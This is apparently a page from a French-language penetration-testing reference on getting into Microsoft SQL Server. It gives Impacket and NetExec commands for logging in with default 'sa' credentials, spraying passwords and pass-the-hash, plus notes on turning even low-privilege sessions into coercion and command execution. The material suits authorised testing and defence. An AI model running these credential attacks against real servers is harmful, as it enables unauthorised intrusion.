SQL Server accepte deux modes d'authentification, et tous deux sont des voies d'entrée : les connexions SQL (nom d'utilisateur et mot de passe stockés dans l'instance) et l'authentification Windows (comptes locaux ou de domaine). L'objectif ici est une session authentifiée quelconque, aussi peu privilégiée soit-elle, car public seul suffit à commencer l'énumération et souvent la coercition.
Connexions SQL#
Les connexions SQL par défaut et faibles sont courantes, avant tout sa :
# Authenticate a SQL login
mssqlclient.py 'sa:Password123!@<target>'
impacket-mssqlclient WORKGROUP/sa:'Password123!'@<target>
# Spray SQL logins across an instance (respect lockout where set)
nxc mssql <target> -u sa -p passwords.txt --local-auth
Authentification Windows et de domaine#
# Domain account (password or hash), mapping to a Windows login/principal
mssqlclient.py -windows-auth 'example.local/user:password@<target>'
nxc mssql <target> -u user -p password -d example.local
nxc mssql <target> -u user -H <nthash> -d example.local # pass-the-hash to MSSQL
Notes d'exploitation#
saest sysadmin, donc un succès sursaest une exécution de commandes immédiate ; un mot de passesafaible ou réutilisé est le gain MSSQL classique.- Une connexion de domaine qui se mappe dans l'instance est souvent plus utile qu'une connexion SQL, car elle peut être atteinte par relais et par pass-the-hash vers MSSQL.
- Même une session
publicnon privilégiée permet l'énumération, les procédures de coercition, et la recherche de chemins d'usurpation et de serveurs liés. - L'accès
guestà une base élargit la portée sans octroi explicite, vérifiez donc quelles bases une connexion de bas niveau peut faireUSE.
Outils#
- Impacket
mssqlclient.py(-windows-auth,-hashes) : sessions interactives avec authentification SQL ou Windows et pass-the-hash. - NetExec
mssql(-u/-p/-H,--local-auth) : authentification, spraying et pass-the-hash à grande échelle.